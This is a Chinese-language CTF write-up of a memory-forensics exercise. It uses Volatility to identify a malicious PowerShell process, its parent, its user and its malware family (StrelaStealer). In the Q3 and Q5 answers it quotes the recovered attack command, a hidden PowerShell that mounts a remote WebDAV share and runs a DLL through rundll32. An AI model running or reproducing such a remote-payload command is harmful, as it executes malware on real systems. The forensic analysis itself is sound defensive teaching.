# 題目 [ 名稱 ] : reveal [ 來源 ] : https://cyberdefenders.org/blueteam-ctf-challenges/reveal/ [ 說明 ] : > 我是金融機構的網路安全分析師,我的 SIEM 平台發出警報,標記了內部工作站上的異常活動。為了不讓機敏資料洩漏,我們需要立即採取行動。 您的任務是深入研究受感染系統提供的記憶體轉儲。您需要確定基本的妥協指標 (IOC) 並確定入侵的程度。調查在環境中執行的惡意命令或文件,並詳細報告您的發現,以幫助修復和增強未來的防禦。 # 使用工具 - 使用工具 - 介紹 Volatility 是一個開源的記憶體鑑識框架,讓調查人員能夠從電腦的揮發性記憶體中提取和分析重要的資訊。分析電腦 RAM 的內容,可以看到正在運行的 process、網路連接、開啟的檔案和其他資料。 - 常用指令 - python vol.py -f 192-Reveal.dmp -h - Show this help message  - python vol.py -f 192-Reveal.dmp frameworkinfo.FrameworkInfo - 可以顯示所有可用插件的工具或命令。 - Volatility 會根據提供檔案的格式和內容,選擇並應用適合的 Layers 來解釋這些資料。這些 Layers 的作用是幫助 Volatility 正確理解記憶體內容  - python vol.py -f 192-Reveal.dmp Windows.pslist.PsList - 此功能可以列出當前運行的所有 process。它提供了一個簡單的 process list,包括 process name、PID、記憶體使用情況等資訊。 > 補充 > windows.psscan.PsScan 可以發現已被刪除或隱藏的process,這些 process 可能不再出現在 PsList 的結果中 > > windows.pstree.PsTree 這個功能以樹狀結構的方式展示 process 之間的關係,根據父程序 ID 列出所有子程序。 - python vol.py -f 192-Reveal.dmp windows.dumpfiles.DumpFiles - python vol.py -f 192-Reveal.dmp windows.cmdline > cmdlist - python vol.py -f 192-Reveal.dmp windows.netscan > netscan - python vol.py -f 192-Reveal.dmp windows.getsids.GetSIDs - SID (Security Identifier)。在作業系統中,用來唯一標識使用者、群組或其他像是服務的數值。每個 SID 是唯一的 :::info - `PID 用來標識系統中每個正在運行的 process` - `PPID 表示創建這個 process 的父程序的 PID。這可以幫助了解 process 的結構` - `ImageFileName:執行檔名稱` - Offset(V):Process Control Block( PCB)它是指向Process 在記憶體中的位置。 - Threads:表示用了多少執行序 - Handles:表示有使用了多少系統資源 - SessionId:不知道 - `Wow64:欄位指示該 process 是否以 WoW64 模式運行`。WoW64(Windows 32-bit on Windows 64-bit)是一個允許 32 位應用程式在 64 位 Windows 系統上運行的子系統。如果此值為 True,則 process 是 32 位元 - `CreateTime:顯示 process 在系統上開始運行的時間戳。` - ExitTime:process 已經終止的情況下才會顯示這個時間戳。如果進程仍在運行,這個欄位通常為空。 ::: # 解題 我們可以透過`frameworkinfo.FrameworkInfo`發現該記憶體使用的作業系統,以便後續查詢  #### Q1 惡意 PROCESS 的名稱是什麼? 由於題目想知道 process 名稱,因此透過`Windows.pslist.PsList`列出該記憶體中所有的 process,但是一堆 process 看不出他們做了甚麼,因此再去找了 cmd 紀錄 `windows.cmdline`,來獲取更多資訊。   從剛才獲得的資料中可以發現 pid 3692 這個 process 似乎在做可疑的事,他連線到一個 ip,並執行 3435.dll 因此判斷題目要求的惡意 PROCESS 的名稱是 powershell.exe #### Q2 惡意 PROCESS 的父程序 PID 是多少? aka ppid 可以根據 cmdline 找到的惡意程式 pid,對應 pslist 來找到 ppid 4120  #### Q3 惡意軟體用來執行第二階段 payload 的檔案名稱是什麼? 根據 pid 3692 這個 process 提供的資訊,第二階段 payload 內容為 `rundll32 \\45.9.74.32@8888\davwwwroot\3435.dll,entry` 因此判斷第二階段 payload 的檔案名稱為 3435.dll  #### Q4 遠端伺服器上正在存取的共享目錄的名稱是什麼? \davwwwroot  #### Q5 第二階段 payload 的 MITRE sub-technique ID 是什麼 ? > MITRE ATT&CK 框架中的 Sub-technique ID(子技術編號)是用於描述網路攻擊行為的具體子技術的標識符 :::success powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\3435.dll,entry ::: - powershell.exe -windowstyle hidden : 隱藏命令行 - net use \\45.9.74.32@8888\davwwwroot\ : net use 指令來嘗試將當前系統連接到位於遠程伺服器 - rundll32 \\45.9.74.32@8888\davwwwroot\3435.dll,entry : 加載並執行 DLL 文件中的惡意代碼 這題把 `rundll32 \\45.9.74.32@8888\davwwwroot\3435.dll,entry` 丟到chatgpt 可以找到 MITRE sub-technique ID : T1218.011 :::info T1218.011 Sub-technique ID : 濫用 rundll32.exe 來代理惡意程式碼的執行 ::: #### Q6 惡意 PROCESS 運行的使用者名稱是什麼? 我利用 `windows.getsids.GetSIDs` 並搭配 grep [惡意程式的 pid] 來找到運行 process 的使用者 Elon  解二 : `python3 vol.py -f 192-Reveal.dmp windows.registry.userassist.UserAssist` 此指令用來從 Windows 註冊表中提取「UserAssist」資料。 UserAssist 是 Windows 用於追蹤用戶啟動應用程式和其他活動的機制。因為查詢結果只有 Elon 所以答案為 Elon  #### Q7 該惡意軟體家族的名稱是? 我利用與惡意程式連接的 IP 45.9.74.32 到 virustotal 找到他的種類 StrelaStealer 
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up